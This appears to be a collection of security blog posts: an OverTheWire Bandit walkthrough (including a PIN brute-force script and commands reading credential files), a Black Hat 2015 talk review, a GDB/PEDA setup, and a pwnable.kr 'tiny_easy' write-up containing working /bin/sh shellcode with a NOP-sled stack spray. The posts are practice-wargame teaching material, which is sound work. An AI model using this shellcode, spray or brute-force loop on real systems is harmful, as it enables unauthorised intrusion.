+----------------------+ <-- Maximum address of stack
|         ...          |
+----------------------+
|                      |
+----------------------+ <-- Start of system()'s stack frame
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+
|                      |
+----------------------+ <-- Start of read()'s frame
|     size_t count     |
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        |
+----------------------+
| [address of system]  | <-- Stack pointer, gets popped
+----------------------+
|                      |
+----------------------+
|         ...          |
+----------------------+ <-- Lowest address of stack, it keeps growing this way
Lowest Memory  

OverTheWire Bandit Wargame Write-up

This is one of the easier wargames out there. The first ~22 levels have very few gotchas for experienced UNIX developers, and can take 30 minutes to a day. There are a few that I got caught up on though. It's a good way to learn the shell, or get more experienced with it.

Usually each stage will give you a password (and increment the username) to the next stage that you use to login with to get the next password and so on.

Check it out yourself here: http://overthewire.org/wargames/bandit/

Bandit Wargame

Bandit 0 → 1

Simply ssh into the server, with the username and password provided, and cat readme.

ssh [email protected] # password bandit0
cat readme

Bandit 1 → 2

You need to give the full file path to read it when the file has a '-' in it.

cat /home/bandit1/-

Bandit 2 → 3

You can use autocomplete w/ the tab key to help you out with hard file names.

cat "spaces in this file name"

Bandit 3 → 4

You can see hidden dot files with ls -la.

cd /inhere/
ls -la
cat .hidden

Bandit 4 → 5

No need to think too much, you can cat out all the files and look for something that looks like a password.

cat /inhere/*

Bandit 5 → 6

I can't remember all the flags and options to find, so I had to look in man find to see how to specify a file size in bytes. Find is recursive by default.

find  . - size 1033c

Bandit 6 → 7

Just more flags to find, at the file system root.

find . -size 33c -user bandit7 -group bandit6

Bandit 7 → 8

Simple use of the pipe, | and grep.

cat data.txt | grep millionth

Bandit 8 → 9

You have to sort before using uniq, as uniq only looks at contiguous matches. Use the -c flag to display counts. Looking for the entry with only 1 count.

cat data.txt | sort | uniq -c 

Bandit 9 → 10

Just get a list of the strings in the data set and look for the string beginning with ========.

cat data.txt | strings

Bandit 10 → 11

Simply use of base64 tool.

base64 --decode data.txt 

Bandit 11 → 12

Simply using cat and copy paste into a rot13 convert convert online yields the answer. You can also use tr to do rot13.

Bandit 12 → 13

This one's a real drag. First get the hexdump into actual hex data and then do a series of file and different extractions like 7 times.

xxd -r data.txt
file <output file>
gunzip/bunzip2/tar xf over and over

Bandit 13 → 14

Simply specify the key to use to ssh with the -i flag.

ssh -i sshkey.private [email protected]

Bandit 14 → 15

This one's tricky, because it requires you to read the MOTD that says "passwords are stored in /etc/somegame_pass". After that it's just nc localhost 30000 and enter the password of bandit14 from the directory.

Bandit 15 → 16

I had to google how to use nc with SSL for this one. Turns out ncat, another clone of nc, from nmap allows easy ssl.

ncat --ssl localhost 30001

Bandit 16 → 17

For this one, you get an ssh key that you have to feed to a port running on localhost in the range 31000-32000. There's only 5 servers, so just list them all and try them all. You get an ssh key in return, save it to a file and chmod 600 it to use for the next level.

nmap localhost -p 31000-32000

Bandit 17 → 18

Just a simple diff.

diff passwords.old passwords.new

Bandit 18 → 19

Copy the file over using scp.

scp [email protected]:/home/bandit18/readme .

Bandit 19 → 20

The setuid bin runs as bandit20 and executes anything given as them.

./bandit20-do cat /etc/bandit_pass/bandit20

Bandit 20 → 21

Run a socket listener on one terminal, and use the suconnect binary as a socket client.

nc -l -p 6161 # On one terminal
./suconnect 6262 # On other terminal

Bandit 21 → 22

This one involves some guessing of what they want from you. Basically it's just look in /etc/cron.d and the cronjob_bandit22.sh file. The cronjob runs /usr/bin/cronjob_bandit22.sh which simply creates a tmp file with bandit22's pw. Read that file to get the next password.

Bandit 22 → 23

Same thing as the previous level, but look into cronjob_bandit23.sh, this one creates a file as well, but it's more obfuscated. You can simply redo what it does and get the filename.

 cat `echo I am user bandit23 | md5sum | cut -d ' ' -f 1`

Bandit 23 → 24

Another cronjob challenge. This one uses cronjob_bandit24.sh and executes all scripts in /var/spool/bandit24. Simply create a shell script that writes a file with bandit24's password. Be sure to chmod +x it.

#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/somefile

Bandit 24 → 25

These last two are the most exciting. This one involves bruteforcing all 4 digit pins to a remote server. The slow way is to loop doing echo foo | nc, but that creates a new connection each time. The faster way is to keep the connection open and loop. I used my shoe.py script for easy reading and writing to remote servers.

#!/usr/bin/python
import shoe

s = shoe.Shoe('localhost', 30002)
for i in range(0, 9999):
    cmd = "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ {}".format(i)
    s.write(cmd + "\n")
    r = s.read_until_end(.001)
    if "Wrong!" not in r and len(r) > 10:
            print(r)

Bandit 25 → 26

This one took me a bit figure out. I'll leave it as a challenge to the reader.

Congratulations on solving the last level of this game!

Black Hat 2015 Video/Talk Review

I watched almost every Black Hat 2015 video. This year was about average. There were some great talks, and many not that great. Here's my highly biased top 10 list, and a few honorable mentions.

Black Hat Top 10

(1) Writing Bad @$$ Malware For OS X by Patrick Wardle

  • Details the OSX malware state.
  • Cool proof of concepts:
    • OSX loader kills stuff that doesn't match a signature. As such dynamic injection into running Apple signed apps doesn't work. However, can easily remove the signature in the first place, and then it works :).
    • Dylib hijacking (same as DLL hijacking) is prevalent.
  • Goes into detail of how to be stealthy and persistent.
  • Details how to bypass Gatekeeper, Xprotect, OSX Sandbox, Kernel-mode code signing, and that the number of local privilege escalations is absurd and easy to find in OSX.
  • Mentions the OSX tools he made relating to all of this:
    • KnockKnock, shows what autoruns on start
    • BlockBlock, block access to persistence areas

Overall a great talk by Patrick, and I highly recommend watching it.

(2) Ah! Universal Android Rooting Is Back by Wen Xu

  • A great case study of Keen Team's universal Android root discovery, PingPong root.
    • Works on Samsung S6.

(3) The Memory Sinkhole - Unleashing An X86 Design Flaw Allowing Universal Privilege Escalation by Christopher Domas

  • Primer on ring -2, the secure memory management unit that's below the hypervisor, that's below the kernel (ring 0).
  • Advanced memory/CPU exploitation leveraging the movement of the APIC.
  • Great talker
  • POC can be found at: https://www.exploit-db.com/exploits/37724

The top 3 are without a doubt my favourite from this year. However, it gets hard to decide positions for the rest of these...

(4) Abusing Silent Mitigations - Understanding Weaknesses Within Internet Explorer by Brian Gorenc & Abdul-Aziz Hariri & Simon Zuckerbraun

  • Good talk about exploiting the heap in modern IE. Use-after-free galore.
  • However, talk video is long and not organized well.

(5) Unicorn: Next Generation CPU Emulator Framework by Nguyen Anh Quynh & Hoang-Vu Dang

  • A faster more efficient QEMU fork.
  • Plugable and extensible.

(6) The Node.js Highway: Attacks Are At Full Throttle by Maty Siman & Amit Ashbel

  • Details some implementation based attacks on JS/Node.js

(7) Social Engineering The Windows Kernel: Finding And Exploiting Token Handling Vulnerabilities by James Forshaw

  • Overall a good talk, but a bit over my unknowledgeable in Windows head.

(8) Return To Where? You Can't Exploit What You Can't Find by Christopher Liebchen & Ahmad-Reza Sadeghi & Andrei Homescu & Stephen Crane

  • Readactor. Another Anti-ROP method.
    • Adds another layer of abstraction/indirection to hide addresses.
  • Many problems can be solved with another layer of indirection
  • Sounds like the paper might be more interesting to read in-depth.

(9) Certifi-gate: Front-Door Access To Pwning Millions Of Androids by Ohad Bobrov & Avi Bashan

  • Some Android permissions are "privileged", and only able to be acquired if OEM (Samsung, LG, etc.) signed them.
  • Remote control apps are signed by OEMs to work properly, due to needing those privileges.
  • Talk shows POCs that due to some apps being signed with such high privileges and their poor implementations, backdoors are easy.
    • Ex: TeamViewer uses a Cert's Serial # to verify communication to it, however Android doesn't use a central CA, self-signing is possible, as such you can create a cert with the same serial # as TeamViewer and MITM it.

(10) Exploiting XXE Vulnerabilities In File Parsing Functionality by Willis Vandevanter

  • Quick talk that shows some POCs with XML exploiting.
    • Word docs are XML.
  • Shows data exfil via errors from XML paresrs.

Honorable mentions:

(1) Exploiting Out-of-Order Execution For Covert Cross-VM Communication by Sophia D'Antoine

  • Novel concept (to me) about introducing hardware cross communication based on hypervisor allocating memory and needing to inform the guest VMs.

(2) Defeating Pass-the-Hash: Separation Of Powers by Seth Moore & Baris Saydag

  • I didn't find anything new, or too interesting, but it details OS internals, and how some stuff in Windows works. I recommend if you're serious about learning Windows 10 internals.

(3) Mobile Point Of Scam: Attacking The Square Reader by Alexandrea Mellen & John Moore & Artem Losev

  • Boston University represent! Great job guys.

Better disassembly with GDB/PEDA

GDB is unfortunately not that great for debugging. Especially when you compare it to the Windows world's Visual Studio debugger. It's the best we got though on Linux, and PEDA makes it much more tolerable.

Here's my .gdbinit, and some tips on how to use PEDA to make debugging easier.

# Save in file: ~/.gdbinit
source ~/peda/peda.py  
set disassembly-flavor intel  
set pagination off  
catch exec  
# Keep a history of all the commands typed. Search is possible using ctrl-r
set history save on  
set history filename ~/.gdb_history  
set history size 32768  
set history expansion on  
# Commands to use in GDB/PEDA
b <func_name> - classic breakpoint  
b *0x123123 - break at address 0x123123  
pdisas - better disass  
vmmap - print mapped memory  
pattern create 2000 - generate cyclic pattern  
telescope 200 - pretty print the stack, 200 ahead  
context all -  print registers, stack, code, everything good  
xormem - xor a memory region with a key  
procinfo - display various info from /proc/pid/  
find “/bin/sh” libc - look for /bin/sh in libc  
find 0xdeadbeef all - look for 0xdeadbeef in all mapped memory  
find “..\x04\x08” 0x08048000 0x08049000 - regex search a memory region

dumprop -  show ROP gadgets  
checksec - list security settings of binary  
readelf - get information about the elf file  

Pwning tiny_easy (pwnable.kr)

This is a writeup of how to pwn tiny_easy on http://pwnable.kr, a great site for exploitation and reversing practice.

Challenge statement

I made a pretty difficult pwn task. However I also made a dumb rookie mistake and made it too easy :( This is based on real event :) enjoy.

ssh [email protected] -p2222 (pw:guest)

Analysis

[email protected]:~$ ssh [email protected] -p2222  
[email protected]:~$ ./tiny_easy  
Segmentation fault  

Okay, just segfaults. Let's dump and disassemble it.

[email protected]:~$ hexdump -C tiny_easy  
00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|  
00000010  02 00 03 00 01 00 00 00  54 80 04 08 34 00 00 00  |........T...4...|  
00000020  00 00 00 00 00 00 00 00  34 00 20 00 01 00 00 00  |........4. .....|  
00000030  00 00 00 00 01 00 00 00  00 00 00 00 00 80 04 08  |................|  
00000040  00 80 04 08 5a 00 00 00  5a 00 00 00 05 00 00 00  |....Z...Z.......|  
00000050  00 10 00 00 58 5a 8b 12  ff d2                    |....XZ....|  
0000005a

[email protected]:~$ objdump -D tiny_easy

tiny_easy:     file format elf32-i386

[email protected]:~$ objdump -x tiny_easy

tiny_easy:     file format elf32-i386  
tiny_easy  
architecture: i386, flags 0x00000102:  
EXEC_P, D_PAGED  
start address 0x08048054

Program Header:  
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x0000005a memsz 0x0000005a flags r-x

Sections:  
Idx Name          Size      VMA       LMA       File off  Algn  
SYMBOL TABLE:  
no symbols  

Wow, it really is tiny! It's actually so small, that there is no executable section in it. That's not to say nothing
executes. This is obvious as we get a segmentation fault, it's doing something.

Using GDB (or knowing the structure of an ELF and assembly), we can figure out what it's actually doing.

It simply executes 4 instructions:

58      pop eax  
5a      pop edx  
8b12    mov edx,DWORD PTR [edx]  
ffd2    call edx  

How a program works

A program is usually launched with something like:
myprog arg1 arg2 arg3
Additionally programs are aware what's in our $PATH environment variable, as well as any other env vars it might need.

So if you look carefully, that's 2 things a program gets/needs:
1. The arguments
2. The environment

This is evident if you examine the entry point in UNIX:
int main (int argc, char *argv[], char *envp[])

Without diving into how a program stack works on x86 (https://www.win.tue.nl/~aeb/linux/hh/stack-layout.html), what you need to know is that envp, argv, and argc get pushed onto the stack, in that order.

| [    argc    ] <-- This gets popped!
v [    argv    ]  
  [    envp    ]

Challenges

The situation looks grim if you examine the binary with checksec, and also check if ASLR is enabled on the server:

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  FORTIFY FORTIFIED FORTIFY-able  FILE  
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No  0       0/home/tiny_easy/tiny_easy

[email protected]:~$ cat /proc/sys/kernel/randomize_va_space  
2  

NX and ASLR are both enabled. This is very problematic, but let's look back to the hint given to us in the beginning.

The hint for this challenge is:

"However I also made a dumb rookie mistake and made it too easy :( This is based on real event :) enjoy."

The rookie mistake here is that if you look above, there is no stack program header. So while NX (non-executable stack) is enabled for the machine, NX is not enabled for this binary. That means the solution can leverage arbitrary execution on the stack.

Solution

We need to get our payload onto the stack. We know argc, argv, and envp get pushed onto the stack. So let's put our shellcode into some environment variables. We also need to redirect program flow, recall in the analysis section the four instructions that the program is doing. It pops argc into eax, pops argv into edx, and then starts executing what's pointed by edx.

Normally the first argument in argv is the name of the program, however this is not technically a requirement we can change it to anything we want, evident if you look at the typical structure of an execv call, execv("myprog", {"myprog", "arg1", "arg2"}), notice the repeated "myprog".

ASLR is enabled, so we don't know the exact address that our payload is at on the stack. So we have to spray the stack by creating a bunch of environment variables and nopsleds.

#!/usr/bin/python
import os  
import subprocess

jumpto = "\xb0\xaf\xb5\xff"  
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"  
nopsled = "\x90"*4096;  
payload = nopsled+shellcode

myenv = {}  
# Arbitrary largeish number
for i in range(0,100):  
    myenv["spray"+str(i)] = payload

while True:  
    p = subprocess.Popen([jumpto], executable="/home/tiny_easy/tiny_easy", env=myenv)
    p.wait()

Executing...

[email protected]:/tmp/eugenek_tiny_easy$ python pwn.py  
$ cat /home/tiny_easy/flag
What a tiny task :) <redacted>  

Looking ahead

This was tiny_easy, I'm looking forward to giving tiny a try.

You can see that tiny doesn't have the rookie mistake as this one does.

[email protected]:~/Downloads$ objdump -x tiny

tiny:     file format elf32-i386  
...
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
         filesz 0x00000000 memsz 0x00000000 flags rw-

tiny doesn't have an executable stack! :(